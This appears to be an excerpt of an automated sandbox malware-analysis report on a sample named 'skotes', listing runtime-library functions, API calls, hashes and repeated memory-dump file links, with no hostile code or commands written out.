Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 0308895d99c35ac777da429b823336fdc9b6d31e6b5d32312091f5a05a58bb77
Instruction ID: d88c58ef888dab857e7a55b289100f95a1c5274aeee091157ca67610c7eaecf8
Opcode Fuzzy Hash: 0308895d99c35ac777da429b823336fdc9b6d31e6b5d32312091f5a05a58bb77
Instruction Fuzzy Hash: 3201F961A81B3569DB14B7B56C0ABBB369EDF02304F203C2DF441E7282EFA5C8004EA5

Function 00626E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00626E73

Part of subcall function 00624E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00624E7F
Part of subcall function 00624E6E: List.LIBCMT ref: 00624E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00626E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00626EAA

Strings

eventObject, xrefs: 00626E7D

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: bf145a7524e9fc019c8c59956be31f39e71ebe038154a5ad6ca92b64b2c3605a
Instruction ID: 41b0325bbd25edd4cff50b2a847bae462a76e8656a9d25c96287a3f8ab926f8f
Opcode Fuzzy Hash: bf145a7524e9fc019c8c59956be31f39e71ebe038154a5ad6ca92b64b2c3605a
Instruction Fuzzy Hash: 8D114876540224E7CF24EBA4DC4AFEE73796F04310F214118B844AA1C2EB70DE04CBB5

Function 0062A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0062A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0062A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0062A139

Strings

pScheduler, xrefs: 0062A131

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 6020995b936509385b134a91cc009de69f06a2f1289a4ea24fa69f436d5fa690
Instruction ID: 2944328412aaa1a5723f6ee9a6701f6ff358c5611958a2763682e0cc914914fb
Opcode Fuzzy Hash: 6020995b936509385b134a91cc009de69f06a2f1289a4ea24fa69f436d5fa690
Instruction Fuzzy Hash: DBF05035500A24E3C760FA54FC46CDEB37B9F50724B10C12DE80517281DBB19A19CE95

Function 006467A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00646902
__alloca_probe_16.LIBCMT ref: 00646998
__freea.LIBCMT ref: 00646A03
__freea.LIBCMT ref: 00646A0F

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 104ae292bd021f33e3d3e80dbcb38d7f73e2e7a25c6aeaddd2d19bcaf9b5ac36
Instruction ID: 5bba5e5260a7dbecab01ffd99eb694547e4af22a3f26694dc59154db4f07f7d5
Opcode Fuzzy Hash: 104ae292bd021f33e3d3e80dbcb38d7f73e2e7a25c6aeaddd2d19bcaf9b5ac36
Instruction Fuzzy Hash: 6281CF72D0064A9FDF209FA4C881AEE7BA79F0B314F194159F801B7351D731CC858BA2

Function 0063504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00635115
___AdjustPointer.LIBCMT ref: 00635138
___AdjustPointer.LIBCMT ref: 006351D4

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
